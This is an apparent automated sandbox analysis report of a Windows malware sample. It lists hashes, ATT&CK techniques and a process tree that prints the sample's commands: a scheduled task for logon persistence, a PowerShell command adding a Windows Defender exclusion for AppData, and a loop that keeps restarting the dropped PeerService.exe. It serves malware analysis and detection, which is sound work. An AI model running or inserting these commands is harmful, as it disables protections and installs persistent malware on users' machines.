4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 17:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a.exe
Size 4.0MB
Sample260910-vzvmqsshph
SHA256 4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a
MD5 86af84b2a7439403741945384908dea2
SHA1 f390e066066e371151c92e422c01e8e4d8939974
SHA512 9f0d5a8de61f92aecae24ac32f23793c5e8455d70ef305f7175a364338d905c405e17502eae450088647918fed3c8b74042a9c9ef7fd290547ddba151885d37a
SSDEEP 98304:4+hxpLJlKkvsXWGoqZ92yVG/uzGNV9HkAn:4+hx9ekEGByQyVG/uzGNVyAn
TLSH
T19216D06BB26901E8D1BFD17CC9165907EBB2780543A0A7CF02E046A62F77BE14E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5796	powershell.exe
1564	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a.exe

Executes dropped EXE 2 IoCs

pid	Process
5936	PeerService.exe
6072	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
748	tasklist.exe
5492	tasklist.exe
5580	tasklist.exe
4300	tasklist.exe
4328	tasklist.exe
2800	tasklist.exe
4392	tasklist.exe
1308	tasklist.exe
4452	tasklist.exe
60	tasklist.exe
5984	tasklist.exe
5312	tasklist.exe
5212	tasklist.exe
1680	tasklist.exe
4228	tasklist.exe
3060	tasklist.exe
2172	tasklist.exe
540	tasklist.exe
5636	tasklist.exe
5068	tasklist.exe
4476	tasklist.exe
2868	tasklist.exe
4724	tasklist.exe
5712	tasklist.exe
2128	tasklist.exe
4592	tasklist.exe
2212	tasklist.exe
3580	tasklist.exe
2320	tasklist.exe
6128	tasklist.exe
5152	tasklist.exe
2432	tasklist.exe
5988	tasklist.exe
5956	tasklist.exe
2316	tasklist.exe
4552	tasklist.exe
5368	tasklist.exe
2464	tasklist.exe
3668	tasklist.exe
5176	tasklist.exe
2264	tasklist.exe
1604	tasklist.exe
4552	tasklist.exe
5988	tasklist.exe
1680	tasklist.exe
3260	tasklist.exe
4808	tasklist.exe
4076	tasklist.exe
4756	tasklist.exe
2384	tasklist.exe
4524	tasklist.exe
5368	tasklist.exe
1656	tasklist.exe
4276	tasklist.exe
880	tasklist.exe
2128	tasklist.exe
2404	tasklist.exe
628	tasklist.exe
3984	tasklist.exe
4900	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1900	cmd.exe
5192	cmd.exe
3468	cmd.exe
6132	cmd.exe
4916	cmd.exe

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
876	timeout.exe
5228	timeout.exe
4692	timeout.exe
5172	timeout.exe
5808	timeout.exe
3380	timeout.exe
5436	timeout.exe
3708	timeout.exe
3380	timeout.exe
3760	timeout.exe
4252	timeout.exe
1208	timeout.exe
5256	timeout.exe
6096	timeout.exe
4664	timeout.exe
5468	timeout.exe
5964	timeout.exe
1956	timeout.exe
4620	timeout.exe
4480	timeout.exe
4036	timeout.exe
2264	timeout.exe
1852	timeout.exe
5824	timeout.exe
1152	timeout.exe
4576	timeout.exe
4200	timeout.exe
4772	timeout.exe
3420	timeout.exe
964	timeout.exe
4796	timeout.exe
880	timeout.exe
5468	timeout.exe
3444	timeout.exe
3368	timeout.exe
3212	timeout.exe
5772	timeout.exe
2644	timeout.exe
4756	timeout.exe
4860	timeout.exe
4008	timeout.exe
4436	timeout.exe
4136	timeout.exe
2192	timeout.exe
4064	timeout.exe
3508	timeout.exe
3188	timeout.exe
1704	timeout.exe
640	timeout.exe
5312	timeout.exe
5484	timeout.exe
5268	timeout.exe
4360	timeout.exe
4920	timeout.exe
4188	timeout.exe
4200	timeout.exe
1620	timeout.exe
3012	timeout.exe
5368	timeout.exe
6024	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1620	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5796	powershell.exe
5796	powershell.exe
5796	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe

Suspicious use of AdjustPrivilegeToken 62 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	tasklist.exe
Token: SeDebugPrivilege	5796	powershell.exe
Token: SeDebugPrivilege	4276	tasklist.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	2384	tasklist.exe
Token: SeDebugPrivilege	2172	tasklist.exe
Token: SeDebugPrivilege	5176	tasklist.exe
Token: SeDebugPrivilege	5152	tasklist.exe
Token: SeDebugPrivilege	4552	tasklist.exe
Token: SeDebugPrivilege	2432	tasklist.exe
Token: SeDebugPrivilege	4524	tasklist.exe
Token: SeDebugPrivilege	880	tasklist.exe
Token: SeDebugPrivilege	3580	tasklist.exe
Token: SeDebugPrivilege	2264	tasklist.exe
Token: SeDebugPrivilege	4724	tasklist.exe
Token: SeDebugPrivilege	4328	tasklist.exe
Token: SeDebugPrivilege	1308	tasklist.exe
Token: SeDebugPrivilege	5368	tasklist.exe
Token: SeDebugPrivilege	5312	tasklist.exe
Token: SeDebugPrivilege	5212	tasklist.exe
Token: SeDebugPrivilege	3260	tasklist.exe
Token: SeDebugPrivilege	1680	tasklist.exe
Token: SeDebugPrivilege	5068	tasklist.exe
Token: SeDebugPrivilege	4452	tasklist.exe
Token: SeDebugPrivilege	540	tasklist.exe
Token: SeDebugPrivilege	2128	tasklist.exe
Token: SeDebugPrivilege	5988	tasklist.exe
Token: SeDebugPrivilege	748	tasklist.exe
Token: SeDebugPrivilege	1604	tasklist.exe
Token: SeDebugPrivilege	2320	tasklist.exe
Token: SeDebugPrivilege	5636	tasklist.exe
Token: SeDebugPrivilege	2800	tasklist.exe
Token: SeDebugPrivilege	4476	tasklist.exe
Token: SeDebugPrivilege	60	tasklist.exe
Token: SeDebugPrivilege	5712	tasklist.exe
Token: SeDebugPrivilege	5956	tasklist.exe
Token: SeDebugPrivilege	5492	tasklist.exe
Token: SeDebugPrivilege	4392	tasklist.exe
Token: SeDebugPrivilege	2128	tasklist.exe
Token: SeDebugPrivilege	2316	tasklist.exe
Token: SeDebugPrivilege	5580	tasklist.exe
Token: SeDebugPrivilege	2404	tasklist.exe
Token: SeDebugPrivilege	4552	tasklist.exe
Token: SeDebugPrivilege	3984	tasklist.exe
Token: SeDebugPrivilege	5988	tasklist.exe
Token: SeDebugPrivilege	4900	tasklist.exe
Token: SeDebugPrivilege	4808	tasklist.exe
Token: SeDebugPrivilege	4228	tasklist.exe
Token: SeDebugPrivilege	6128	tasklist.exe
Token: SeDebugPrivilege	3060	tasklist.exe
Token: SeDebugPrivilege	1656	tasklist.exe
Token: SeDebugPrivilege	4592	tasklist.exe
Token: SeDebugPrivilege	4300	tasklist.exe
Token: SeDebugPrivilege	628	tasklist.exe
Token: SeDebugPrivilege	5368	tasklist.exe
Token: SeDebugPrivilege	2868	tasklist.exe
Token: SeDebugPrivilege	5984	tasklist.exe
Token: SeDebugPrivilege	2464	tasklist.exe
Token: SeDebugPrivilege	2212	tasklist.exe
Token: SeDebugPrivilege	4076	tasklist.exe
Token: SeDebugPrivilege	4756	tasklist.exe
Token: SeDebugPrivilege	3668	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 6132	4728	4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a.exe	85
PID 6132 wrote to memory of 1620	6132	cmd.exe	87
PID 4728 wrote to memory of 5936	4728	4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a.exe	88
PID 5936 wrote to memory of 1900	5936	PeerService.exe	91
PID 5936 wrote to memory of 4916	5936	PeerService.exe	92
PID 4916 wrote to memory of 1680	4916	cmd.exe	96
PID 4916 wrote to memory of 1824	4916	cmd.exe	97
PID 1900 wrote to memory of 5796	1900	cmd.exe	99
PID 6072 wrote to memory of 3468	6072	PeerService.exe	100
PID 6072 wrote to memory of 5192	6072	PeerService.exe	101
PID 5192 wrote to memory of 4276	5192	cmd.exe	105
PID 5192 wrote to memory of 4152	5192	cmd.exe	106
PID 3468 wrote to memory of 1564	3468	cmd.exe	107
PID 5192 wrote to memory of 6096	5192	cmd.exe	108
PID 4916 wrote to memory of 4200	4916	cmd.exe	110
PID 5192 wrote to memory of 2384	5192	cmd.exe	120
PID 4916 wrote to memory of 2172	4916	cmd.exe	121
PID 5192 wrote to memory of 1880	5192	cmd.exe	122
PID 4916 wrote to memory of 820	4916	cmd.exe	123
PID 4916 wrote to memory of 5468	4916	cmd.exe	124
PID 5192 wrote to memory of 3380	5192	cmd.exe	125
PID 4916 wrote to memory of 5176	4916	cmd.exe	128
PID 4916 wrote to memory of 952	4916	cmd.exe	129
PID 5192 wrote to memory of 5152	5192	cmd.exe	130
PID 5192 wrote to memory of 5172	5192	cmd.exe	131
PID 4916 wrote to memory of 3444	4916	cmd.exe	132
PID 5192 wrote to memory of 3760	5192	cmd.exe	133
PID 5192 wrote to memory of 4552	5192	cmd.exe	134
PID 5192 wrote to memory of 6040	5192	cmd.exe	135
PID 4916 wrote to memory of 2432	4916	cmd.exe	136
PID 4916 wrote to memory of 4516	4916	cmd.exe	137
PID 5192 wrote to memory of 4620	5192	cmd.exe	138
PID 4916 wrote to memory of 876	4916	cmd.exe	139
PID 5192 wrote to memory of 4524	5192	cmd.exe	140
PID 5192 wrote to memory of 5564	5192	cmd.exe	141
PID 4916 wrote to memory of 880	4916	cmd.exe	142
PID 4916 wrote to memory of 5396	4916	cmd.exe	143
PID 5192 wrote to memory of 4772	5192	cmd.exe	144
PID 4916 wrote to memory of 4252	4916	cmd.exe	145
PID 5192 wrote to memory of 3580	5192	cmd.exe	146
PID 5192 wrote to memory of 4228	5192	cmd.exe	147
PID 4916 wrote to memory of 2264	4916	cmd.exe	148
PID 4916 wrote to memory of 5952	4916	cmd.exe	149
PID 5192 wrote to memory of 1620	5192	cmd.exe	150
PID 4916 wrote to memory of 2192	4916	cmd.exe	151
PID 4916 wrote to memory of 4724	4916	cmd.exe	154
PID 4916 wrote to memory of 4720	4916	cmd.exe	155
PID 5192 wrote to memory of 4328	5192	cmd.exe	156
PID 5192 wrote to memory of 1656	5192	cmd.exe	157
PID 4916 wrote to memory of 4480	4916	cmd.exe	158
PID 5192 wrote to memory of 4064	5192	cmd.exe	159
PID 5192 wrote to memory of 1308	5192	cmd.exe	162
PID 5192 wrote to memory of 2284	5192	cmd.exe	163
PID 4916 wrote to memory of 5368	4916	cmd.exe	164
PID 4916 wrote to memory of 5308	4916	cmd.exe	165
PID 4916 wrote to memory of 1852	4916	cmd.exe	166
PID 5192 wrote to memory of 3420	5192	cmd.exe	167
PID 5192 wrote to memory of 5312	5192	cmd.exe	168
PID 5192 wrote to memory of 668	5192	cmd.exe	169
PID 4916 wrote to memory of 5212	4916	cmd.exe	170
PID 4916 wrote to memory of 3068	4916	cmd.exe	171
PID 5192 wrote to memory of 5228	5192	cmd.exe	172
PID 4916 wrote to memory of 4692	4916	cmd.exe	173
PID 5192 wrote to memory of 3260	5192	cmd.exe	174

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a.exe
"C:\Users\Admin\AppData\Local\Temp\4dc6de4eeb929ea10d290f61308399b286cd77487841f3869909b99c6a72cf7a.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6132
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1620
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5936
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5796
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1680
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1824
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4200
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2172
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:820
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5176
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:952
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3444
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2432
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4516
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:876
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:880
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5396
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4252
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2264
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5952
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2192
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4724
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4720
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4480
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5368
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5308
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1852
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5212
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3068
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4692
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1680
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1824
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4664
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4452
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4392
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1704
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2128
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5604
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:748
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2292
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:880
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2320
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2276
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5808
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2800
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4300
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5368
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:60
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3560
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3508
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5956
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5336
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4756
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5492
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4112
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3188
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2316
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:456
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1152
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2404
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4556
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5172
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4552
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3660
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5436
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5988
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4400
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3212
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4228
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5852
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2264
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3060
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4232
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4188
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4592
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5800
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5256
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:628
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1676
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:964
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2868
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2256
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1956
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2464
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4184
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5484
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2212
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1448
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5772
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3668
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5948
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4200

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:6072
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1564
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5192
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4276
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4152
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:6096
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1880
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3380
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5152
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5172
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3760
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4552
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6040
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4620
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4524
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5564
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4772
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3580
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4228
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1620
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4328
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1656
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4064
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2284
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3420
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5312
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:668
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5228
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3260
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6036
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2644
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5492
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3368
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
